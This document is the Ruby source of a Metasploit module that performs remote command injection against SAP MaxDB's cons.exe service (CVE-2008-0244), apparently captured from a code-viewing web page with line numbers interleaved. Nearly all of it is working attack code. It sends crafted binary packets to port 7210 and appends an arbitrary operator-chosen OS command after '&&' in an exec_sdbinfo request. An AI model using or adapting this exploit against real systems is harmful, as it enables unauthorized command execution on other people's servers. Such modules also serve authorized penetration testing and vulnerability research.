Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
      'Name'           => 'SAP MaxDB cons.exe Remote Command Injection',
12
      'Description'    => %q{
13
          SAP MaxDB is prone to a remote command-injection vulnerability
14
          because the application fails to properly sanitize user-supplied input.
15
      },
16
      'Author'         => [ 'MC' ],
17
      'License'        => MSF_LICENSE,
18
      'References'     =>
19
        [
20
          ['OSVDB', '40210' ],
21
          ['BID', '27206'],
22
          ['CVE', '2008-0244'],
23
        ],
24
      'DisclosureDate' => '2008-01-09'))
25

26
      register_options(
27
        [
28
          Opt::RPORT(7210),
29
          OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
30
        ])
31
  end
32

33
  def run
34
    connect
35

36
    # Grab the MaxDB info.
37
    pdbmsrv =  "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"
38
    pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"
39
    pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"
40
    pdbmsrv << "\x00\x07\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"
41
    pdbmsrv << "\x07\x49\x33\x34\x33\x32\x00\x04\x50\x1C\x2A\x03\x52\x01\x03\x72"
42
    pdbmsrv << "\x01\x09\x70\x64\x62\x6D\x73\x72\x76\x00"
43

44
    db_version =  "\x28\x00\x00\x00\x03\x3f\x00\x00\x01\x00\x00\x00\xc0\x0b\x00\x00"
45
    db_version << "\x00\x00\x04\x00\x28\x00\x00\x00\x64\x62\x6d\x5f\x76\x65\x72\x73"
46
    db_version << "\x69\x6f\x6e\x20\x20\x20\x20\x20"
47

48
    sock.put(pdbmsrv)
49
    sock.get_once
50
    sock.put(db_version)
51

52
    ver = sock.get_once || ''
53

54
    info = ver[27,2000]
55
    if (info.length > 0)
56
      print_status(info)
57
    end
58

59
    # Send our command.
60
    len = 39 + datastore['CMD'].length
61

62
    data =  len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"
63
    data << "\x00\x00\x04\x00" + len.chr + "\x00\x00\x00\x65\x78\x65\x63\x5F\x73\x64"
64
    data << "\x62\x69\x6E\x66\x6F\x20\x26\x26" + "#{datastore['CMD']}"
65

66
    sock.put(data)
67

68
    res = sock.get_once
69
    print_line(res)
70

71
    disconnect
72

73
  end
74
end
75

76